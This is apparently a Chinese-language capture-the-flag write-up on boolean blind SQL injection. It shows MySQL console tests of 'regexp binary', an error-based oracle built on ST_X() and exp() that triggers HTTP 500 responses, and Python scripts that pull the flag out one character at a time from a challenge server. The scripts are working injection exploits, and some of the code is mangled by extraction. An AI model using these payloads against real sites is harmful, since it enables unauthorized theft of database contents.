mysql> select flag from flag; +--------------------+ | flag | +--------------------+ | flag{flag is here} | +--------------------+ 1 row in set (0.00 sec)
mysql> select (select flag from flag)regexp '^flag{f'; +-----------------------------------------+ | (select flag from flag)regexp '^flag{f' | +-----------------------------------------+ | 1 | +-----------------------------------------+ 1 row in set (0.00 sec)
mysql> select (select flag from flag)regexp 'lag'; +-------------------------------------+ | (select flag from flag)regexp 'lag' | +-------------------------------------+ | 1 | +-------------------------------------+ 1 row in set (0.00 sec)
mysql> select (select flag from flag)regexp '{'; +-----------------------------------+ | (select flag from flag)regexp '{' | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set (0.00 sec)
mysql> select (select flag from flag)regexp 'lf'; +------------------------------------+ | (select flag from flag)regexp 'lf' | +------------------------------------+ | 0 | +------------------------------------+ 1 row in set
mysql> select flag from flag; +--------------+ | flag | +--------------+ | flag is here | +--------------+ 1 row in set
mysql> select (select flag from flag)regexp binary 1; +----------------------------------------+ | (select flag from flag)regexp binary 1 | +----------------------------------------+ | 0 | +----------------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp binary ' '; +------------------------------------------+ | (select flag from flag)regexp binary ' ' | +------------------------------------------+ | 1 | +------------------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp 'a'; +-----------------------------------+ | (select flag from flag)regexp 'a' | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp 'A'; +-----------------------------------+ | (select flag from flag)regexp 'A' | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp binary 'A'; +------------------------------------------+ | (select flag from flag)regexp binary 'A' | +------------------------------------------+ | 0 | +------------------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp binary 'a'; +------------------------------------------+ | (select flag from flag)regexp binary 'a' | +------------------------------------------+ | 1 | +------------------------------------------+ 1 row in set
mysql> select if((select flag from flag)regexp binary 'flag is here',2,3); +-------------------------------------------------------------+ | if((select flag from flag)regexp binary 'flag is here',2,3) | +-------------------------------------------------------------+ | 2 | +-------------------------------------------------------------+ 1 row in set
mysql> select if((select flag from flag)regexp binary 'flag is ',2,3); +---------------------------------------------------------+ | if((select flag from flag)regexp binary 'flag is ',2,3) | +---------------------------------------------------------+ | 2 | +---------------------------------------------------------+ 1 row in set
mysql> select if((select flag from flag)regexp binary 0x20,2,3); +---------------------------------------------------+ | if((select flag from flag)regexp binary 0x20,2,3) | +---------------------------------------------------+ | 2 | +---------------------------------------------------+ 1 row in set
bool盲注
到这里的想法就是通过返回的页面来判断是否输入正确,例如在mysql中的实验,输入正确时返回2,输入错误时返回3.但是在这道题中,只有三个返回页面,一个是输入cat.png,一个是nono.png,还有一个是返回空白页面(状态码为500)。如果我们还是使用select if((select flag from flag)regexp binary 0x20,2,3);来进行盲注,因为无论结果是2还是3都是返回正确的图片,因为返回错误图片是在输入含有被过滤的字符时,而不是在我们判断错误时返回(cat=0时返回的也是cat.png),所有返回nono.png这张图片是我们利用不了的。现在的问题是我们要通过返回cat.png和返回空白页面来判断bool盲注。
在这条sql查询语句中,select if((select flag from flag)regexp binary 0x20,expr2,expr3);我们需要返回cat.png的页面只需要让expr2或者expr3为数字即可。返回空白页面(状态码为500)有只有一种情况,当输入语句没有含有过滤字符且不能构成sql语句查询时。也就是说我们输入的查询语句在某些情况下可以构成正确的sql语句,在某些情况下会报错,不能构成正确的mysql查询语句。
mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(aaaa)')), 0); ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext. mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(122)')), 0); ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.
mysql> mysql>SELECT IF(1, ST_GeomFromText('2'), 0) -> ; ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SELECTSELECT IF(1, ST_GeomFromText('2'), 0)' at line 1
据此,我们可以编写判断我们的猜想是否成立,结果是成立的。
1 2 3 4 5
import requests url = "http://47.98.234.232:28059/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,ST_X(111))" r = requests.get(url) print(r.status_code) print(r.text)
deford2hex(string): result = "" for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+r return'0x'+result
url = "http://47.98.234.232:28045/index.php?cat=" tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{' result="" #for i in range(1,70): for j in tables: payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex(j)) r = requests.get(url+payload); if r.status_code==200: print(j)
输出结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
a b c d f g l 0 2 4 6 7 8 9 - } { [Finished in 7.7s]
mysql> select (select flag from flag)regexp '^a'; +------------------------------------+ | (select flag from flag)regexp '^a' | +------------------------------------+ | 0 | +------------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp 'a'; +-----------------------------------+ | (select flag from flag)regexp 'a' | +-----------------------------------+ | 1 | +-----------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp '^f'; +------------------------------------+ | (select flag from flag)regexp '^f' | +------------------------------------+ | 1 | +------------------------------------+ 1 row in set
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+r return '0x'+result
url = "http://47.98.234.232:28010/index.php?cat=" tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{' result="" for i in range(1,10): for j in tables: payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex("^"+result+j)) r = requests.get(url+payload); if r.status_code==200: result=result+j print(result) break
mysql> select (select flag from flag)regexp '^flag\\{'; +------------------------------------------+ | (select flag from flag)regexp '^flag\\{' | +------------------------------------------+ | 1 | +------------------------------------------+ 1 row in set
mysql> select (select flag from flag)regexp '^flag\{'; +-----------------------------------------+ | (select flag from flag)regexp '^flag\{' | +-----------------------------------------+ | 1 | +-----------------------------------------+ 1 row in set
import requests deford2hex(string): result = "" for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+r return'0x'+result
url = "http://47.98.234.232:28050/index.php?cat=" tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{' result="" for i in range(1,70): for j in tables: if j =="{"or j=="}": j='\\'+j payload = "1 and IF((select flag from flag) regexp binary %s,0,ST_X(111))"%(ord2hex("^"+result+j)) r = requests.get(url+payload); if r.status_code==200: result=result+j print(result.replace('\\','')) break
plus
plus与它的原题很相似,直接用原题的payload试试
1 2 3 4 5
import requests url = "http://47.98.234.232:28059/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,ST_X(111))" r = requests.get(url) print(r.status_code) print(r.text)
import requests url = "http://47.98.234.232:28014/index.php?cat=1 and IF((select flag from flag) regexp binary 0x66,0,exp(4444))" r = requests.get(url) print(r.status_code) print(r.text)
import requests def ord2hex(string): result = "" for i in string: r = hex(ord(i)); r = r.replace('0x','') result = result+r return '0x'+result
url = "http://47.98.234.232:28014/index.php?cat=" tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{' result="" for i in range(1,70): for j in tables: if j =="{" or j=="}": j='\\'+j payload = "1 and IF((select flag from flag) regexp binary %s,0,exp(1111))"%(ord2hex("^"+result+j)) r = requests.get(url+payload); if r.status_code==200: result=result+j print(result.replace('\\','')) break